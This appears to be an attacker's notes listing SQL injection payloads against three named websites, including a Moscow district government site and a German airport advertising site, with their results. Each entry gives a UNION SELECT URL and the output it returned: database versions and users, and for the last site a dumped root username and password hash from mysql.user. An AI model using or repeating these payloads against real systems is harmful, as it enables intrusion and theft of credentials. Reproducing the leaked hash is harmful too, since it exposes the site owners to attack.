http://www.obereg.ru/zagorod.html?id=1537+union+select+1,2,3,4,5,6,7,8, 9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1/*
Version():4.1.11-standard
User()

bereg@localhost
-----
http://sao.mos.ru/?r=9_doc&cat=1+union+select+1,unhex(hex(version()) ),3
version:4.1.12
user:sao1@chicken
------
http://advertising.koeln-bonn-airport.de/index.php?id=-4+union+select+concat_ws(0x3a,user,password),2+fro m+mysql.user/*
Вывод в титле:
root:32a6457455517e7f
есть доступ в mysql.user